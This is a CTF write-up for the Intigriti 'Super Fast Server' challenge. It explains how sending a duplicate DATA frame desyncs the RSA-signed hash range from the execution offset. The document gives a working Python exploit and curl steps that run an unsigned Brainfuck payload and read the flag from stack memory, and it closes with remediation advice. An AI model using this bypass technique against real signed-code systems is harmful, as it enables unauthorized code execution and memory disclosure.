INTIGRITI MONTHLY CTF / NOVEMBER 2026 / STEP-BY-STEP WRITE-UP
Super Fast Server: RSA Signature Desync & Arbitrary Memory Read.
The target evaluates Brainfuck code guarded by an RSA-2048 digital signature. However, a desynchronization between the cryptographic hash boundary and the execution entry offset allows unauthenticated arbitrary Brainfuck execution and extraction of the secret flag stored in thread stack memory.
// 00. EXECUTIVE SUMMARY & TL;DR
The Exploit Chain in One Paragraph
Without omitting steps or making assumptions: what the server does, where it breaks, and how the flag is leaked.
The server executes Brainfuck code received over a custom binary protocol, but strictly requires an RSA-2048 digital signature. The signature covers CODE || DATA in a single continuous hashed buffer, but the interpreter is started at the offset of the last DATA command sent. By sending two consecutive DATA commands of identical length (424 bytes):
- The first
DATAframe (the author's benign signed program carved fromHELP) fills the hashed buffer region, satisfying the author's RSA signature. - The second
DATAframe (our malicious Brainfuck code) moves the execution offset past the hashed block into unhashed memory. - The
EXECcommand validates the signature (which matches) and then launches our unsigned payload. - Our payload advances 256 cells across the thread stack to reach the memory location where
/the_real.flagwas read and prints 81 bytes back across the network socket.
// 01. RECONNAISSANCE & ARCHITECTURE
Discovering the Binary and the Hidden Service
Uncovering the challenge architecture from the initial web landing page.
The challenge web interface contains static pages: login.html, signup.html, changelog.html, documentation.html, and robots.txt. HTTP response headers advertise:
x-powered-by: superfastserver Version 2.0.0
Inside documentation.html, a developer note provides a decisive clue:
This indicates that the server executable itself is hosted in the public web root directory.
Following Intigriti's rules of engagement (mandatory research header X-Intigriti-Research: [@b0dre]), we download the binary:
curl -sS -H 'X-Intigriti-Research: [@b0dre]' \
-o superfastserver https://challenge-1126.challenges.intigriti.io/superfastserver
Initial Binary Inspection
file superfastserver: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, stripped, 47,880 bytes.strings superfastserver | grep -E "AUTH|custom":
Reveals the proxy endpoint/custom_protocoland the hardcoded authentication secret:SUPER_SECRET_CHALLENGE_AUTH_CODE_THAT_CANT_BE_BRUTE_FORCED_1337_INTIGRITI_341465b5b427f6e7c2125b300a74a033
The web server acts as a reverse proxy: any raw binary body sent via POST /custom_protocol is tunneled directly through a TCP socket to an internal daemon listening on 127.0.0.1:5001, returning whatever the daemon responds after a ~2 second interval.
// 02. CUSTOM BINARY PROTOCOL & RSA CRYPTO
Frame Specifications and Cryptographic Verification
Reverse engineering the state machine of the internal service on port 5001.
Every interaction with port 5001 starts with sending the exact 106 bytes of the handshake authentication secret (raw ASCII, no headers). The server replies with ACK\0 (4 bytes).
Command Frame Layout
Subsequent commands must be packaged in structured binary frames:
| Command Tag | Hex Tag | Daemon Processing Function |
|---|---|---|
CODE |
0x45444f43 |
Allocates an executable memory page (mmap with PROT_READ|PROT_EXEC) and loads the 396-byte Brainfuck interpreter bytecode. Replies ACK\0. |
DATA |
0x41544144 |
Loads Brainfuck code. Sets data_offset to current buffer position and data_size to frame length. Replies ACK\0. |
SIGN |
0x4e474953 |
Loads the 256-byte RSA-2048 digital signature. Replies ACK\0. |
EXEC |
0x43455845 |
Computes SHA-256, verifies RSA signature against author's public key, and executes the interpreter. Does not reply with ACK; it outputs the executed program's output. |
HELP |
0x504c4548 |
Returns an embedded sample script pre-signed by the challenge author. |
Carving the Author's Pre-Signed Script from the Binary
The response to HELP is embedded verbatim within the superfastserver binary at file offset 0x89D0 (1,112 bytes). From this block, we carve the 3 legitimate components:
code.bin(396 bytes): Compiled Brainfuck VM engine.signed_data.bin(424 bytes): Author's sample program (prints *"I hope you like this so far. Keep going!"*).sig.bin(256 bytes): Valid RSA-2048 signature overSHA256(CODE || signed_data).
Mathematical RSA Verification in Python
The RSA public modulus ($n$) is present as an ASCII hex string beginning with C9A3944A... ($e = 65537$). A valid PKCS#1 v1.5 block decrypts to:
00 01 FF FF ... FF 00 || SHA256(code || signed_data)
import hashlib, re
binary = open('superfastserver', 'rb').read()
blob = binary[0x89D0:0x89D0 + 0x458]
code, sdata, sig = blob[9:405], blob[414:838], blob[847:1103]
n_hex = re.search(rb'C9A3944A[0-9A-F]{400,}', binary).group(0)
n = int(n_hex, 16)
# Decrypt RSA block: m = (sig ^ e) mod n
decrypted = pow(int.from_bytes(sig, 'big'), 65537, n).to_bytes(256, 'big')
# Expected PKCS#1 v1.5 padded digest:
digest = hashlib.sha256(code + sdata).digest()
expected = b'\x00\x01' + b'\xff' * (256 - 3 - 32) + b'\x00' + digest
assert decrypted == expected
print("[+] Author RSA signature is mathematically verified!")
// 03. VULNERABILITY ANALYSIS
The Offset Desynchronization Bug in EXEC
Decompiled C examination in Ghidra revealing the state machine flaw.
Examining the command processing loop in the decompiled server code (dump.c), the vulnerability is immediately apparent:
// Upon receiving DATA frame (0x41544144):
local_4a8 = local_24d0; // data_offset = current buffer index!
local_4b0 = (ulong)local_80; // data_size = size of this frame
send(fd, &ACK_BYTES, 4, 0);
// Upon receiving EXEC frame (0x43455845):
// 1. Compute SHA-256 hash starting at code_offset for length (code_size + data_size):
FUN_00105a00(local_24c8 + local_498, local_4a0 + local_4b0, local_25f8);
// 2. Compare hash against decrypted RSA signature:
local_280c = FUN_001044b0(&local_26fc, local_2808, 0x800, local_24c8 + local_4b8, local_26f8);
if ((local_280c == 0x20) && (memcmp(local_26f8, local_25f8, 0x20) == 0)) {
// 3. VM INVOCATION:
// Param 1: code_buffer + data_offset (points to the LAST DATA frame received!)
// Param 2: thread stack tape pointer FS-0x160
// Param 3: socket send callback FUN_00105c30
(*local_4c8)(local_24c8 + local_4a8, *in_FS_OFFSET + -0x160, FUN_00105c30);
}
The Exploit Mechanism (Step-by-Step)
- We send the
CODEframe (396 bytes). - We send
DATA #1containing the author's legitimate signed program (424 bytes). The server recordsdata_offset = 396anddata_size = 424. - We immediately send
DATA #2containing our custom Brainfuck payload, padded to exactly 424 bytes. The server appends it, advancingdata_offset = 820while settingdata_size = 424. - We send the
SIGNframe with the author's legitimate signature. - We trigger
EXEC:- The server computes SHA-256 over
code_size + data_size = 396 + 424 = 820bytes. - Bytes 0 to 819 strictly contain
CODEandDATA #1. The hash matches the RSA signature perfectly! - The server invokes the VM engine at
code_buffer + data_offset(byte 820), whereDATA #2begins!
- The server computes SHA-256 over
Result: Arbitrary Brainfuck execution without knowledge of the RSA private key.
// 04. RAW SERVER RESPONSE ANALYSIS
Breaking Down the Response (Hex Dump)
Comprehensive byte-by-byte breakdown of the 101-byte raw server response into 6 logical blocks.
The raw server response contains exactly 101 bytes (20 bytes of protocol acknowledgments followed by 81 bytes emitted by our program). To see precisely where the flag comes from, we split the response into 6 distinct blocks: 5 acknowledgments (ACK\0) and one final block containing the executed program's output.
Blocks 1–5 — The Acknowledgments (ACK\0)
Each frame we send gets confirmed by the server with 4 bytes: the ASCII letters ACK followed by a null byte (\0) terminator:
| Block | Offset | Hex Bytes | ASCII Translation | Confirmed Frame |
|---|---|---|---|---|
| Block 1 | 0x00 - 0x03 | 41 43 4b 00 |
A C K \0 |
Initial Handshake Secret |
| Block 2 | 0x04 - 0x07 | 41 43 4b 00 |
A C K \0 |
CODE frame (interpreter) |
| Block 3 | 0x08 - 0x0b | 41 43 4b 00 |
A C K \0 |
DATA #1 frame (legitimate signed program) |
| Block 4 | 0x0c - 0x0f | 41 43 4b 00 |
A C K \0 |
DATA #2 frame (our injected program) |
| Block 5 | 0x10 - 0x13 | 41 43 4b 00 |
A C K \0 |
SIGN frame (signature) |
The
EXEC frame is not acknowledged with an ACK\0; it directly triggers execution of the loaded Brainfuck program. Any bytes returned from that point forward originate from the program itself.
Block 6 — The Program's Output (the Flag)
Starting at byte 20 (offset 0x14), there are no more ACKs. What follows is what our program printed after reading 81 bytes of stack memory:
Translating byte-by-byte into ASCII:
| Hex | 49 | 4e | 54 | 49 | 47 | 52 | 49 | 54 | 49 | 7b | ... | 7d |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ASCII | I | N | T | I | G | R | I | T | I | { | ... | } |
Concatenating the whole string gives us the flag:
Why This Block Is the Flag and Not Memory Noise
- Printable ASCII Text: It consists of clean ASCII characters from start to finish with no binary garbage or unmapped control bytes, confirming intentional memory layout.
- Standard Intigriti Format: Follows the official
INTIGRITI{uuid4}specification. - Exact Length Alignment: In the binary,
fopen("/the_real.flag", "r")reads exactly0x51(81 in decimal) bytes intoFS-0x60. Our program printed 81 bytes: the 45-byte flag string followed by exactly 36 null terminator bytes.
Full Response Structure Diagram
// 05. EXPLOITATION & REPRODUCTION
The Brainfuck Payload & Step-by-Step Reproduction
Walkthrough for both automated Python scripting and 100% manual shell commands.
Designing the Brainfuck Payload
In Brainfuck, > moves the memory pointer forward and . emits the current cell to the socket via the server's send() callback.
The VM tape pointer starts at FS-0x160, and the flag was loaded into FS-0x60:
0x160 - 0x60 = 0x100 = 256 cells to traverse.
# 1. Advance pointer 256 cells to reach the flag buffer:
program = b'>' * 256
# 2. Print and advance for 81 consecutive bytes:
program += b'.>' * 81
# 3. Pad with spaces (harmless no-ops in Brainfuck) to exactly 424 bytes:
# (The size MUST be 424 bytes so code_size + data_size remains 820 bytes)
program = program.ljust(424, b' ')
#!/usr/bin/env python3
"""
Intigriti Challenge 1126 - Super Fast Server Exploit
Researcher: Wilson Lora Bodré (@b0dre)
"""
import hashlib, re, sys, urllib.request
HOST = "challenge-1126.challenges.intigriti.io"
PROTOCOL_URL = f"https://{HOST}/custom_protocol"
HEADERS = {"X-Intigriti-Research": "[@b0dre]", "Content-Type": "application/octet-stream"}
AUTH = b"SUPER_SECRET_CHALLENGE_AUTH_CODE_THAT_CANT_BE_BRUTE_FORCED_1337_INTIGRITI_341465b5b427f6e7c2125b300a74a033"
def frame(tag: bytes, payload: bytes) -> bytes:
"""Builds protocol frame: 'w' + little_endian_size_u32 + 4B_tag + payload"""
return b'w' + len(payload).to_bytes(4, 'little') + tag + payload
def main():
# Step 1: Read the server binary
binary = open("superfastserver", "rb").read()
# Step 2: Carve pre-signed author components from HELP offset (0x89D0)
blob = binary[0x89D0:0x89D0 + 0x458]
code = blob[9:9 + 396] # Brainfuck VM engine (396 B)
signed_data = blob[405 + 9:405 + 9 + 424] # Legitimate signed code (424 B)
signature = blob[838 + 9:838 + 9 + 256] # Legitimate RSA signature (256 B)
# Step 3: Build Brainfuck payload (256 forward moves + 81 outputs)
program = (b'>' * 256 + b'.>' * 81).ljust(424, b' ')
# Step 4: Assemble exploit body with duplicate DATA frame
body = (
AUTH
+ frame(b'CODE', code)
+ frame(b'DATA', signed_data) # DATA 1: Validates the RSA hash
+ frame(b'DATA', program) # DATA 2: Receives execution control
+ frame(b'SIGN', signature) # SIGN: Validates CODE + DATA 1
+ frame(b'EXEC', b'') # EXEC: Triggers execution of DATA 2
)
print(f"[*] Transmitting exploit payload ({len(body)} bytes)...")
req = urllib.request.Request(PROTOCOL_URL, data=body, headers=HEADERS)
resp = urllib.request.urlopen(req, timeout=30).read()
# Step 5: Carve the flag from response
flag = re.search(rb'INTIGRITI\{[^}]+\}', resp)
if flag:
print(f"\n[+] FLAG CAPTURED SUCCESSFULLY: {flag.group(0).decode()}\n")
else:
print("[-] Flag not found in server response.")
if __name__ == "__main__":
main()
[+] FLAG CAPTURED SUCCESSFULLY: INTIGRITI{4c0532a9-f169-4a5d-ae02-a8b0671d2b07}
Manual Step-by-Step Shell Reproduction (`curl`)
Step 1: Download Server Binary
curl -sS -H 'X-Intigriti-Research: [@b0dre]' -o superfastserver https://challenge-1126.challenges.intigriti.io/superfastserver
Step 2: Carve Embedded Signed Pieces
python3 -c "b=open('superfastserver','rb').read()[0x89D0:0x89D0+0x458]; open('code.bin','wb').write(b[9:405]); open('sdata.bin','wb').write(b[414:838]); open('sig.bin','wb').write(b[847:1103])"
Step 3: Build Exploit Binary Package
python3 -c "
auth = b'SUPER_SECRET_CHALLENGE_AUTH_CODE_THAT_CANT_BE_BRUTE_FORCED_1337_INTIGRITI_341465b5b427f6e7c2125b300a74a033'
payload = (b'>' * 256 + b'.>' * 81).ljust(424, b' ')
def f(t, d): return b'w' + len(d).to_bytes(4, 'little') + t + d
body = auth + f(b'CODE', open('code.bin','rb').read()) + f(b'DATA', open('sdata.bin','rb').read()) + f(b'DATA', payload) + f(b'SIGN', open('sig.bin','rb').read()) + f(b'EXEC', b'')
open('body.bin', 'wb').write(body)
"
Step 4: Transmit Exploit via `curl`
curl -sS -H 'X-Intigriti-Research: [@b0dre]' -H 'Content-Type: application/octet-stream' --data-binary @body.bin -o resp.bin https://challenge-1126.challenges.intigriti.io/custom_protocol
Step 5: Extract Flag
grep -ao 'INTIGRITI{[^}]*}' resp.bin
# Output: INTIGRITI{4c0532a9-f169-4a5d-ae02-a8b0671d2b07}
// 06. ARTIFACTS & LABORATORY
Complete Laboratory Package Download
Target binary, exploit harness, carved buffers, and documentation.
Download Laboratory Archive (.ZIP)
Package: intigriti-challenge-1126.zip (123 KB)
SHA-256: 0f9cd64b86448e802e2b9492e63aaf796825f0a57a01babf2ef15c42f007ad60
Defensive Remediation & Mitigation
- Enforce Single-Assignment Invariants: The protocol state machine must reject multiple
DATAorCODEframes within a single session, or reset all verification state upon receiving duplicate frames. - Atomic Verification-to-Execution Binding: The execution pointer must be mathematically bound to the verified slice bounds rather than an unconstrained parser variable.
- Prevent Binary Exposure: Strip public access to executable binaries and debug symbols on web servers to prevent offline reverse engineering of static keys and offsets.